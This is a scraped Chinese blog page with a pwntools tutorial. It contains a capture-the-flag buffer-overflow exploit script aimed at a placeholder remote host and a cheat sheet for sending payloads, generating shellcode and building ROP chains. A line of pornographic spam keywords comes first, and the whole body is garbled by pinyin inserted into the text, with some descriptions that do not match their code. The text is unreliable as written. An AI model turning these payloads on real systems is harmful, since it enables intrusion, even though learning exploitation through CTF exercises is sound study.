日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

pwntools语句的简单使用,包含例子

發(fā)布時(shí)間:2025/3/20 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pwntools语句的简单使用,包含例子 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
from pwn import * #io = process("./int_overflow") io = remote("遠(yuǎn)程鏈接ip",端口) flag_addr = 需要覆蓋的flag地址如0x804868B offset = 0x14 + 0x4 io.sendlineafter("Your choice:","1") io.sendlineafter("username:","aaa") payload = b"A"*offset + p32(flag_addr) + b"A"*(260 - offset - 4) io.sendlineafter("passwd:",payload) io.interactive()

pwntools語(yǔ)句講解

連接

本地 :io = porcess("./文件名")
遠(yuǎn)程:io = remote(“ip地址”,端口)
關(guān)閉連接:io.close()

發(fā)送 payload

io.sendafter(some_string, payload) 接收到 some_string 后, 發(fā)送你的 payload;
p.sendlineafter(some_string, payload) 接收到 some_string 后, 發(fā)送你的 payload,加個(gè)換行
p.send(payload) 發(fā)送 payload
p.sendline(payload) 發(fā)送 payload,并進(jìn)行換行(末尾\n)

接收返回內(nèi)容

p.interactive() 直接進(jìn)行交互,相當(dāng)于回到shell的模式,一般在取得shell之后使用

生成 shellcode:

asm(shellcraft.sh())

p.recvn(N) 接受 N(數(shù)字) 字符

p.recvline() 接收一行輸出

p.recvlines(N) 接收 N(數(shù)字) 行輸出

p.recvuntil(some_string) 接收到 some_string 為止

stack=int(p.recv(10),16) 接收回顯的參數(shù)在棧上的地址,長(zhǎng)度是10,以16進(jìn)制表示

ELF

首先需要 elf=ELF(’./filename’) 來(lái)產(chǎn)生一個(gè)對(duì)象
elf.symbols[‘a(chǎn)_function’] 找到 a_function 的地址
elf.got[‘a(chǎn)_function’] 找到 a_function的 got
elf.plt[‘a(chǎn)_function’] 找到 a_function 的 plt
elf.next(e.search(“some_characters”)) 找到包含 some_characters 可以是字符串,匯編代碼或者某個(gè)數(shù)值的地址

ROP

rop = ROP(’./filename’) 還是要先創(chuàng)建一個(gè)對(duì)象
rop.raw(‘a(chǎn)’*32) 在構(gòu)造的 rop 鏈里面寫(xiě) 32 個(gè) a
rop.call(‘read’, (0, elf.bss(0x80))) 調(diào)用一個(gè)函數(shù),可以簡(jiǎn)寫(xiě)成:rop.read(0, elf.bss(0x80))
rop.chain() 就是整個(gè) rop 鏈,發(fā)送的 payload
rop.dump() 直觀地展示當(dāng)前的 rop 鏈
rop.migrate(base_stage) 將程序流程轉(zhuǎn)移到 base_stage(地址)
rop.unresolve(value) 給出一個(gè)地址,反解析出符號(hào)
rop.search(regs=[‘ecx’,‘ebx’]) 搜索對(duì) eax 進(jìn)行操作的 gadgets
rop.find_gadget([‘pop eax’,‘ret’]) 搜索 pop eax ret 這樣的 gadgets

總結(jié)

以上是生活随笔為你收集整理的pwntools语句的简单使用,包含例子的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。